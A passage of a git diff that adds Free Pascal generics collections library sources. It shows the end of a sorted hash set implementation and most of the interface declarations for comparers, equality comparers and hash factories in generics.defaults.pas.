FInternalDictionary.DoRemove(LIndex, cnRemoved); + FInternalTree.Remove(AValue); + end; +end; + +function TSortedHashSet<T>.Extract(constref AValue: T): T; +var + LIndex: SizeInt; +begin + LIndex := FInternalDictionary.FindBucketIndex(@AValue); + if LIndex >= 0 then + begin + FInternalDictionary.DoRemove(LIndex, cnExtracted); + FInternalTree.Remove(AValue); + Result := AValue; + end else + Result := Default(T); +end; + +procedure TSortedHashSet<T>.Clear; +begin + FInternalDictionary.Clear; + FInternalTree.Clear; +end; + +function TSortedHashSet<T>.Contains(constref AValue: T): Boolean; +begin + Result := FInternalDictionary.ContainsKey(@AValue); +end; + +constructor TSortedHashSet<T>.Create; +begin + FInternalTree := TAVLTree<T>.Create; + FInternalDictionary := TOpenAddressingLP<PT, TEmptyRecord>.Create(TSortedHashSetEqualityComparer.Create(TEqualityComparer<T>.Default)); +end; + +constructor TSortedHashSet<T>.Create(const AComparer: IEqualityComparer<T>); +begin + Create(TComparer<T>.Default, AComparer); +end; + +constructor TSortedHashSet<T>.Create(const AComparer: IComparer<T>); +begin + FInternalTree := TAVLTree<T>.Create(AComparer); + FInternalDictionary := TOpenAddressingLP<PT, TEmptyRecord>.Create(TSortedHashSetEqualityComparer.Create(AComparer)); +end; + +constructor TSortedHashSet<T>.Create(const AComparer: IComparer<T>; const AEqualityComparer: IEqualityComparer<T>); +begin + FInternalTree := TAVLTree<T>.Create(AComparer); + FInternalDictionary := TOpenAddressingLP<PT, TEmptyRecord>.Create(TSortedHashSetEqualityComparer.Create(AComparer,AEqualityComparer)); +end; + +destructor TSortedHashSet<T>.Destroy; +begin + FInternalDictionary.Free; + FInternalTree.Free; + inherited; +end; + +procedure TSortedHashSet<T>.TrimExcess; +begin + FInternalDictionary.TrimExcess; +end; + +end. diff --git a/Core/generics_collections/src/generics.defaults.pas b/Core/generics_collections/src/generics.defaults.pas new file mode 100755 index 0000000..d39bf5e --- /dev/null +++ b/Core/generics_collections/src/generics.defaults.pas @@ -0,0 +1,3356 @@ +{ + This file is part of the Free Pascal/NewPascal run time library. + Copyright (c) 2014 by Maciej Izak (hnb) + member of the NewPascal development team (http://newpascal.org) + + Copyright(c) 2004-2018 DaThoX + + It contains the generics collections library + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + Acknowledgment + + Thanks to Sphere 10 Software (http://sphere10.com) for sponsoring + many new types and major refactoring of entire library + + Thanks to mORMot (http://synopse.info) project for the best implementations + of hashing functions like crc32c and xxHash32 :) + + **********************************************************************} + +unit Generics.Defaults; + +{$MODE DELPHI}{$H+} +{$POINTERMATH ON} +{$MACRO ON} +{$COPERATORS ON} +{$HINTS OFF} +{$WARNINGS OFF} +{$NOTES OFF} +{$OVERFLOWCHECKS OFF} +{$RANGECHECKS OFF} + +interface + +uses + Classes, SysUtils, Generics.Hashes, TypInfo, Variants, Math, Generics.Strings, Generics.Helpers; + +type + IComparer<T> = interface + function Compare(constref Left, Right: T): Integer; overload; + end; + + TOnComparison<T> = function(constref Left, Right: T): Integer of object; + TComparisonFunc<T> = function(constref Left, Right: T): Integer; + + TComparer<T> = class(TInterfacedObject, IComparer<T>) + public + class function Default: IComparer<T>; static; + function Compare(constref ALeft, ARight: T): Integer; virtual; abstract; overload; + + class function Construct(const AComparison: TOnComparison<T>): IComparer<T>; overload; + class function Construct(const AComparison: TComparisonFunc<T>): IComparer<T>; overload; + end; + + TDelegatedComparerEvents<T> = class(TComparer<T>) + private + FComparison: TOnComparison<T>; + public + function Compare(constref ALeft, ARight: T): Integer; override; + constructor Create(AComparison: TOnComparison<T>); + end; + + TDelegatedComparerFunc<T> = class(TComparer<T>) + private + FComparison: TComparisonFunc<T>; + public + function Compare(constref ALeft, ARight: T): Integer; override; + constructor Create(AComparison: TComparisonFunc<T>); + end; + + IEqualityComparer<T> = interface + function Equals(constref ALeft, ARight: T): Boolean; + function GetHashCode(constref AValue: T): UInt32; + end; + + IExtendedEqualityComparer<T> = interface(IEqualityComparer<T>) + procedure GetHashList(constref AValue: T; AHashList: PUInt32); // for double hashing and more + end; + + ShortString1 = string[1]; + ShortString2 = string[2]; + ShortString3 = string[3]; + + { TAbstractInterface } + + TInterface = class + public + function QueryInterface(constref {%H-}IID: TGUID;{%H-} out Obj): HResult; {$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; virtual; + function _AddRef: LongInt; {$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; virtual; abstract; + function _Release: LongInt; {$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; virtual; abstract; + end; + + { TRawInterface } + + TRawInterface = class(TInterface) + public + function _AddRef: LongInt; override; + function _Release: LongInt; override; + end; + + { TComTypeSizeInterface } + + // INTERNAL USE ONLY! + TComTypeSizeInterface = class(TInterface) + public + // warning ! self as PSpoofInterfacedTypeSizeObject + function _AddRef: LongInt; override; + // warning ! self as PSpoofInterfacedTypeSizeObject + function _Release: LongInt; override; + end; + + { TSingletonImplementation } + + TSingletonImplementation = class(TRawInterface, IInterface) + public + function QueryInterface(constref IID: TGUID; out Obj): HResult; override; + end; + + TCompare = class + protected + // warning ! self as PSpoofInterfacedTypeSizeObject + class function _Binary(constref ALeft, ARight): Integer; + // warning ! self as PSpoofInterfacedTypeSizeObject + class function _DynArray(constref ALeft, ARight: Pointer): Integer; + public + class function Integer(constref ALeft, ARight: Integer): Integer; + class function Int8(constref ALeft, ARight: Int8): Integer; + class function Int16(constref ALeft, ARight: Int16): Integer; + class function Int32(constref ALeft, ARight: Int32): Integer; + class function Int64(constref ALeft, ARight: Int64): Integer; + class function UInt8(constref ALeft, ARight: UInt8): Integer; + class function UInt16(constref ALeft, ARight: UInt16): Integer; + class function UInt32(constref ALeft, ARight: UInt32): Integer; + class function UInt64(constref ALeft, ARight: UInt64): Integer; + class function Single(constref ALeft, ARight: Single): Integer; + class function Double(constref ALeft, ARight: Double): Integer; + class function Extended(constref ALeft, ARight: Extended): Integer; + class function Currency(constref ALeft, ARight: Currency): Integer; + class function Comp(constref ALeft, ARight: Comp): Integer; + class function Binary(constref ALeft, ARight; const ASize: SizeInt): Integer; + class function DynArray(constref ALeft, ARight: Pointer; const AElementSize: SizeInt): Integer; + class function ShortString1(constref ALeft, ARight: ShortString1): Integer; + class function ShortString2(constref ALeft, ARight: ShortString2): Integer; + class function ShortString3(constref ALeft, ARight: ShortString3): Integer; + class function &String(constref ALeft, ARight: string): Integer; + class function ShortString(constref ALeft, ARight: ShortString): Integer; + class function AnsiString(constref ALeft, ARight: AnsiString): Integer; + class function WideString(constref ALeft, ARight: WideString): Integer; + class function UnicodeString(constref ALeft, ARight: UnicodeString): Integer; + class function Method(constref ALeft, ARight: TMethod): Integer; + class function Variant(constref ALeft, ARight: PVariant): Integer; + class function Pointer(constref ALeft, ARight: PtrUInt): Integer; + end; + + { TEquals } + + TEquals = class + protected + // warning ! self as PSpoofInterfacedTypeSizeObject + class function _Binary(constref ALeft, ARight): Boolean; + // warning ! self as PSpoofInterfacedTypeSizeObject + class function _DynArray(constref ALeft, ARight: Pointer): Boolean; + public + class function Integer(constref ALeft, ARight: Integer): Boolean; + class function Int8(constref ALeft, ARight: Int8): Boolean; + class function Int16(constref ALeft, ARight: Int16): Boolean; + class function Int32(constref ALeft, ARight: Int32): Boolean; + class function Int64(constref ALeft, ARight: Int64): Boolean; + class function UInt8(constref ALeft, ARight: UInt8): Boolean; + class function UInt16(constref ALeft, ARight: UInt16): Boolean; + class function UInt32(constref ALeft, ARight: UInt32): Boolean; + class function UInt64(constref ALeft, ARight: UInt64): Boolean; + class function Single(constref ALeft, ARight: Single): Boolean; + class function Double(constref ALeft, ARight: Double): Boolean; + class function Extended(constref ALeft, ARight: Extended): Boolean; + class function Currency(constref ALeft, ARight: Currency): Boolean; + class function Comp(constref ALeft, ARight: Comp): Boolean; + class function Binary(constref ALeft, ARight; const ASize: SizeInt): Boolean; + class function DynArray(constref ALeft, ARight: Pointer; const AElementSize: SizeInt): Boolean; + class function &Class(constref ALeft, ARight: TObject): Boolean; + class function ShortString1(constref ALeft, ARight: ShortString1): Boolean; + class function ShortString2(constref ALeft, ARight: ShortString2): Boolean; + class function ShortString3(constref ALeft, ARight: ShortString3): Boolean; + class function &String(constref ALeft, ARight: String): Boolean; + class function ShortString(constref ALeft, ARight: ShortString): Boolean; + class function AnsiString(constref ALeft, ARight: AnsiString): Boolean; + class function WideString(constref ALeft, ARight: WideString): Boolean; + class function UnicodeString(constref ALeft, ARight: UnicodeString): Boolean; + class function Method(constref ALeft, ARight: TMethod): Boolean; + class function Variant(constref ALeft, ARight: PVariant): Boolean; + class function Pointer(constref ALeft, ARight: PtrUInt): Boolean; + end; + + THashServiceClass = class of THashService; + TExtendedHashServiceClass = class of TExtendedHashService; + THashFactoryClass = class of THashFactory; + + TExtendedHashFactoryClass = class of TExtendedHashFactory; + + { TComparerService } + +{$DEFINE STD_RAW_INTERFACE_METHODS := + QueryInterface: @TRawInterface.QueryInterface; + _AddRef : @TRawInterface._AddRef; + _Release : @TRawInterface._Release +} + +{$DEFINE STD_COM_TYPESIZE_INTERFACE_METHODS := + QueryInterface: @TComTypeSizeInterface.QueryInterface; + _AddRef : @TComTypeSizeInterface._AddRef; + _Release : @TComTypeSizeInterface._Release +} + + TGetHashListOptions = set of (ghloHashListAsInitData); + + THashFactory = class + private type + PPEqualityComparerVMT = ^PEqualityComparerVMT; + PEqualityComparerVMT = ^TEqualityComparerVMT; + TEqualityComparerVMT = packed record + QueryInterface: CodePointer; + _AddRef: CodePointer; + _Release: CodePointer; + Equals: CodePointer; + GetHashCode: CodePointer; + __Reserved: CodePointer; // initially or TExtendedEqualityComparerVMT compatibility + // (important when ExtendedEqualityComparer is calling Binary method) + __ClassRef: THashFactoryClass; // hidden field in VMT. For class ref THashFactoryClass + end; + + private +(*********************************************************************************************************************** + Hashes +(**********************************************************************************************************************) + + class function Int8 (constref AValue: Int8 ): UInt32; overload; + class function Int16 (constref AValue: Int16 ): UInt32; overload; + class function Int32 (constref AValue: Int32 ): UInt32; overload; + class function Int64 (constref AValue: Int64 ): UInt32; overload; + class function UInt8 (constref AValue: UInt8 ): UInt32; overload; + class function UInt16 (constref AValue: UInt16 ): UInt32; overload; + class function UInt32 (constref AValue: UInt32 ): UInt32; overload; + class function UInt64 (constref AValue: UInt64 ): UInt32; overload; + class function Single (constref AValue: Single ): UInt32; overload; + class function Double (constref AValue: Double ): UInt32; overload; + class function Extended (constref AValue: Extended ): UInt32; overload; + class function Currency (constref AValue: Currency ): UInt32; overload; + class function Comp (constref AValue: Comp ): UInt32; overload; + // warning ! self as PSpoofInterfacedTypeSizeObject + class function Binary (constref AValue ): UInt32; overload; + // warning ! self as PSpoofInterfacedTypeSizeObject + class function DynArray (constref AValue: Pointer ): UInt32; overload; + class function &Class (constref AValue: TObject ): UInt32; overload; + class function ShortString1 (constref AValue: ShortString1 ): UInt32; overload; + class function ShortString2 (constref AValue: ShortString2 ): UInt32; overload; + class function ShortString3 (constref AValue: ShortString3 ): UInt32; overload; + class function ShortString (constref AValue: ShortString ): UInt32; overload; + class function AnsiString (constref AValue: AnsiString ): UInt32; overload; + class function WideString (constref AValue: WideString ): UInt32; overload; + class function UnicodeString(constref AValue: UnicodeString): UInt32; overload; + class function Method (constref AValue: TMethod ): UInt32; overload; + class function Variant (constref AValue: PVariant ): UInt32; overload; + class function Pointer (constref AValue: Pointer ): UInt32; overload; + public + const MAX_HASHLIST_COUNT = 1; + const HASH_FUNCTIONS_COUNT = 1; + const HASHLIST_COUNT_PER_FUNCTION: array[1..HASH_FUNCTIONS_COUNT] of Integer = (1); + const HASH_FUNCTIONS_MASK_SIZE = 1; + + class function GetHashService: THashServiceClass; virtual; abstract; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; virtual; abstract; reintroduce; + end; + + TExtendedHashFactory = class(THashFactory) + private type + PPExtendedEqualityComparerVMT = ^PExtendedEqualityComparerVMT; + PExtendedEqualityComparerVMT = ^TExtendedEqualityComparerVMT; + TExtendedEqualityComparerVMT = packed record + QueryInterface: CodePointer; + _AddRef: CodePointer; + _Release: CodePointer; + Equals: CodePointer; + GetHashCode: CodePointer; + GetHashList: CodePointer; + __ClassRef: TExtendedHashFactoryClass; // hidden field in VMT. For class ref THashFactoryClass + end; + private +(*********************************************************************************************************************** + Hashes 2 +(**********************************************************************************************************************) + + class procedure Int8 (constref AValue: Int8 ; AHashList: PUInt32); overload; + class procedure Int16 (constref AValue: Int16 ; AHashList: PUInt32); overload; + class procedure Int32 (constref AValue: Int32 ; AHashList: PUInt32); overload; + class procedure Int64 (constref AValue: Int64 ; AHashList: PUInt32); overload; + class procedure UInt8 (constref AValue: UInt8 ; AHashList: PUInt32); overload; + class procedure UInt16 (constref AValue: UInt16 ; AHashList: PUInt32); overload; + class procedure UInt32 (constref AValue: UInt32 ; AHashList: PUInt32); overload; + class procedure UInt64 (constref AValue: UInt64 ; AHashList: PUInt32); overload; + class procedure Single (constref AValue: Single ; AHashList: PUInt32); overload; + class procedure Double (constref AValue: Double ; AHashList: PUInt32); overload; + class procedure Extended (constref AValue: Extended ; AHashList: PUInt32); overload; + class procedure Currency (constref AValue: Currency ; AHashList: PUInt32); overload; + class procedure Comp (constref AValue: Comp ; AHashList: PUInt32); overload; + // warning ! self as PSpoofInterfacedTypeSizeObject + class procedure Binary (constref AValue ; AHashList: PUInt32); overload; + // warning ! self as PSpoofInterfacedTypeSizeObject + class procedure DynArray (constref AValue: Pointer ; AHashList: PUInt32); overload; + class procedure &Class (constref AValue: TObject ; AHashList: PUInt32); overload; + class procedure ShortString1 (constref AValue: ShortString1 ; AHashList: PUInt32); overload; + class procedure ShortString2 (constref AValue: ShortString2 ; AHashList: PUInt32); overload; + class procedure ShortString3 (constref AValue: ShortString3 ; AHashList: PUInt32); overload; + class procedure ShortString (constref AValue: ShortString ; AHashList: PUInt32); overload; + class procedure AnsiString (constref AValue: AnsiString ; AHashList: PUInt32); overload; + class procedure WideString (constref AValue: WideString ; AHashList: PUInt32); overload; + class procedure UnicodeString(constref AValue: UnicodeString; AHashList: PUInt32); overload; + class procedure Method (constref AValue: TMethod ; AHashList: PUInt32); overload; + class procedure Variant (constref AValue: PVariant ; AHashList: PUInt32); overload; + class procedure Pointer (constref AValue: Pointer ; AHashList: PUInt32); overload; + public + class procedure GetHashList(AKey: Pointer; ASize: SizeInt; AHashList: PUInt32; AOptions: TGetHashListOptions = []); virtual; abstract; + end; + + TComparerService = class abstract + private type + TSelectMethod = function(ATypeData: PTypeData; ASize: SizeInt): Pointer of object; + private + class function SelectIntegerEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; virtual; abstract; + class function SelectFloatEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; virtual; abstract; + class function SelectShortStringEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; virtual; abstract; + class function SelectBinaryEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; virtual; abstract; + class function SelectDynArrayEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; virtual; abstract; + private type + PSpoofInterfacedTypeSizeObject = ^TSpoofInterfacedTypeSizeObject; + TSpoofInterfacedTypeSizeObject = record + VMT: Pointer; + RefCount: LongInt; + Size: SizeInt; + end; + + PInstance = ^TInstance; + TInstance = record + class function Create(ASelector: Boolean; AInstance: Pointer): TComparerService.TInstance; static; + class function CreateSelector(ASelectorInstance: CodePointer): TComparerService.TInstance; static; + + case Selector: Boolean of + false: (Instance: Pointer); + true: (SelectorInstance: CodePointer); + end; + + PComparerVMT = ^TComparerVMT; + TComparerVMT = packed record + QueryInterface: CodePointer; + _AddRef: CodePointer; + _Release: CodePointer; + Compare: CodePointer; + end; + + TSelectFunc = function(ATypeData: PTypeData; ASize: SizeInt): Pointer; + + private + class function CreateInterface(AVMT: Pointer; ASize: SizeInt): PSpoofInterfacedTypeSizeObject; static; + + class function SelectIntegerComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; static; + class function SelectInt64Comparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; static; + class function SelectFloatComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; static; + class function SelectShortStringComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; static; + class function SelectBinaryComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; static; + class function SelectDynArrayComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; static; + private const + // IComparer VMT + Comparer_Int8_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Int8); + Comparer_Int16_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Int16 ); + Comparer_Int32_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Int32 ); + Comparer_Int64_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Int64 ); + Comparer_UInt8_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.UInt8 ); + Comparer_UInt16_VMT: TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.UInt16); + Comparer_UInt32_VMT: TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.UInt32); + Comparer_UInt64_VMT: TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.UInt64); + + Comparer_Single_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Single ); + Comparer_Double_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Double ); + Comparer_Extended_VMT: TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Extended); + + Comparer_Currency_VMT: TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Currency); + Comparer_Comp_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Comp ); + + Comparer_Binary_VMT : TComparerVMT = (STD_COM_TYPESIZE_INTERFACE_METHODS; Compare: @TCompare._Binary ); + Comparer_DynArray_VMT: TComparerVMT = (STD_COM_TYPESIZE_INTERFACE_METHODS; Compare: @TCompare._DynArray); + + Comparer_ShortString1_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.ShortString1 ); + Comparer_ShortString2_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.ShortString2 ); + Comparer_ShortString3_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.ShortString3 ); + Comparer_ShortString_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.ShortString ); + Comparer_AnsiString_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.AnsiString ); + Comparer_WideString_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.WideString ); + Comparer_UnicodeString_VMT: TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.UnicodeString); + + Comparer_Method_VMT : TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Method ); + Comparer_Variant_VMT: TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Variant); + Comparer_Pointer_VMT: TComparerVMT = (STD_RAW_INTERFACE_METHODS; Compare: @TCompare.Pointer); + + // Instances + Comparer_Int8_Instance : Pointer = @Comparer_Int8_VMT ; + Comparer_Int16_Instance : Pointer = @Comparer_Int16_VMT ; + Comparer_Int32_Instance : Pointer = @Comparer_Int32_VMT ; + Comparer_Int64_Instance : Pointer = @Comparer_Int64_VMT ; + Comparer_UInt8_Instance : Pointer = @Comparer_UInt8_VMT ; + Comparer_UInt16_Instance: Pointer = @Comparer_UInt16_VMT; + Comparer_UInt32_Instance: Pointer = @Comparer_UInt32_VMT; + Comparer_UInt64_Instance: Pointer = @Comparer_UInt64_VMT; + + Comparer_Single_Instance : Pointer = @Comparer_Single_VMT ; + Comparer_Double_Instance : Pointer = @Comparer_Double_VMT ; + Comparer_Extended_Instance: Pointer = @Comparer_Extended_VMT; + + Comparer_Currency_Instance: Pointer = @Comparer_Currency_VMT; + Comparer_Comp_Instance : Pointer = @Comparer_Comp_VMT ; + + //Comparer_Binary_Instance : Pointer = @Comparer_Binary_VMT ; // dynamic instance + //Comparer_DynArray_Instance: Pointer = @Comparer_DynArray_VMT; // dynamic instance + + Comparer_ShortString1_Instance : Pointer = @Comparer_ShortString1_VMT ; + Comparer_ShortString2_Instance : Pointer = @Comparer_ShortString2_VMT ; + Comparer_ShortString3_Instance : Pointer = @Comparer_ShortString3_VMT ; + Comparer_ShortString_Instance : Pointer = @Comparer_ShortString_VMT ; + Comparer_AnsiString_Instance : Pointer = @Comparer_AnsiString_VMT ; + Comparer_WideString_Instance : Pointer = @Comparer_WideString_VMT ; + Comparer_UnicodeString_Instance: Pointer = @Comparer_UnicodeString_VMT; + + Comparer_Method_Instance : Pointer = @Comparer_Method_VMT ; + Comparer_Variant_Instance: Pointer = @Comparer_Variant_VMT; + Comparer_Pointer_Instance: Pointer = @Comparer_Pointer_VMT; + + ComparerInstances: array[TTypeKind] of TInstance = + ( + // tkUnknown + (Selector: True; SelectorInstance: @TComparerService.SelectBinaryComparer), + // tkInteger + (Selector: True; SelectorInstance: @TComparerService.SelectIntegerComparer), + // tkChar + (Selector: False; Instance: @Comparer_UInt8_Instance), + // tkEnumeration + (Selector: True; SelectorInstance: @TComparerService.SelectIntegerComparer), + // tkFloat + (Selector: True; SelectorInstance: @TComparerService.SelectFloatComparer), + // tkSet + (Selector: True; SelectorInstance: @TComparerService.SelectBinaryComparer), + // tkMethod + (Selector: False; Instance: @Comparer_Method_Instance), + // tkSString + (Selector: True; SelectorInstance: @TComparerService.SelectShortStringComparer), + // tkLString - only internal use / deprecated in compiler + (Selector: False; Instance: @Comparer_AnsiString_Instance), // <- unsure + // tkAString + (Selector: False; Instance: @Comparer_AnsiString_Instance), + // tkWString + (Selector: False; Instance: @Comparer_WideString_Instance), + // tkVariant + (Selector: False; Instance: @Comparer_Variant_Instance), + // tkArray + (Selector: True; SelectorInstance: @TComparerService.SelectBinaryComparer), + // tkRecord + (Selector: True; SelectorInstance: @TComparerService.SelectBinaryComparer), + // tkInterface + (Selector: False; Instance: @Comparer_Pointer_Instance), + // tkClass + (Selector: False; Instance: @Comparer_Pointer_Instance), + // tkObject + (Selector: True; SelectorInstance: @TComparerService.SelectBinaryComparer), + // tkWChar + (Selector: False; Instance: @Comparer_UInt16_Instance), + // tkBool + (Selector: True; SelectorInstance: @TComparerService.SelectIntegerComparer), + // tkInt64 + (Selector: False; Instance: @Comparer_Int64_Instance), + // tkQWord + (Selector: False; Instance: @Comparer_UInt64_Instance), + // tkDynArray + (Selector: True; SelectorInstance: @TComparerService.SelectDynArrayComparer), + // tkInterfaceRaw + (Selector: False; Instance: @Comparer_Pointer_Instance), + // tkProcVar + (Selector: False; Instance: @Comparer_Pointer_Instance), + // tkUString + (Selector: False; Instance: @Comparer_UnicodeString_Instance), + // tkUChar - WTF? ... http://bugs.freepascal.org/view.php?id=24609 + (Selector: False; Instance: @Comparer_UInt16_Instance), // <- unsure maybe Comparer_UInt32_Instance + // tkHelper + (Selector: False; Instance: @Comparer_Pointer_Instance), + // tkFile + (Selector: True; SelectorInstance: @TComparerService.SelectBinaryComparer), // <- unsure what type? + // tkClassRef + (Selector: False; Instance: @Comparer_Pointer_Instance), + // tkPointer + (Selector: False; Instance: @Comparer_Pointer_Instance) + ); + public + class function LookupComparer(ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; static; + end; + + THashService = class(TComparerService) + public + class function LookupEqualityComparer(ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; virtual; abstract; + end; + + TExtendedHashService = class(THashService) + public + class function LookupEqualityComparer(ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; override; + class function LookupExtendedEqualityComparer(ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; virtual; abstract; + end; + +{$DEFINE HASH_FACTORY := PPEqualityComparerVMT(Self)^.__ClassRef} +{$DEFINE EXTENDED_HASH_FACTORY := PPExtendedEqualityComparerVMT(Self)^.__ClassRef} + + { THashService } + + THashService<T: THashFactory> = class(THashService) + private + class function SelectIntegerEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + class function SelectFloatEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + class function SelectShortStringEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + class function SelectBinaryEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + class function SelectDynArrayEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + private const + // IEqualityComparer VMT templates +{$WARNINGS OFF} + EqualityComparer_Int8_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Int8 ; GetHashCode: @THashFactory.Int8 ); + EqualityComparer_Int16_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Int16 ; GetHashCode: @THashFactory.Int16 ); + EqualityComparer_Int32_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Int32 ; GetHashCode: @THashFactory.Int32 ); + EqualityComparer_Int64_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Int64 ; GetHashCode: @THashFactory.Int64 ); + EqualityComparer_UInt8_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UInt8 ; GetHashCode: @THashFactory.UInt8 ); + EqualityComparer_UInt16_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UInt16; GetHashCode: @THashFactory.UInt16); + EqualityComparer_UInt32_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UInt32; GetHashCode: @THashFactory.UInt32); + EqualityComparer_UInt64_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UInt64; GetHashCode: @THashFactory.UInt64); + + EqualityComparer_Single_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Single ; GetHashCode: @THashFactory.Single ); + EqualityComparer_Double_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Double ; GetHashCode: @THashFactory.Double ); + EqualityComparer_Extended_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Extended; GetHashCode: @THashFactory.Extended); + + EqualityComparer_Currency_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Currency; GetHashCode: @THashFactory.Currency); + EqualityComparer_Comp_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Comp ; GetHashCode: @THashFactory.Comp ); + + EqualityComparer_Binary_VMT : THashFactory.TEqualityComparerVMT = (STD_COM_TYPESIZE_INTERFACE_METHODS; Equals: @TEquals._Binary ; GetHashCode: @THashFactory.Binary ); + EqualityComparer_DynArray_VMT: THashFactory.TEqualityComparerVMT = (STD_COM_TYPESIZE_INTERFACE_METHODS; Equals: @TEquals._DynArray; GetHashCode: @THashFactory.DynArray); + + EqualityComparer_Class_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.&Class; GetHashCode: @THashFactory.&Class); + + EqualityComparer_ShortString1_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.ShortString1 ; GetHashCode: @THashFactory.ShortString1 ); + EqualityComparer_ShortString2_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.ShortString2 ; GetHashCode: @THashFactory.ShortString2 ); + EqualityComparer_ShortString3_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.ShortString3 ; GetHashCode: @THashFactory.ShortString3 ); + EqualityComparer_ShortString_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.ShortString ; GetHashCode: @THashFactory.ShortString ); + EqualityComparer_AnsiString_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.AnsiString ; GetHashCode: @THashFactory.AnsiString ); + EqualityComparer_WideString_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.WideString ; GetHashCode: @THashFactory.WideString ); + EqualityComparer_UnicodeString_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UnicodeString; GetHashCode: @THashFactory.UnicodeString); + + EqualityComparer_Method_VMT : THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Method ; GetHashCode: @THashFactory.Method ); + EqualityComparer_Variant_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Variant; GetHashCode: @THashFactory.Variant); + EqualityComparer_Pointer_VMT: THashFactory.TEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: 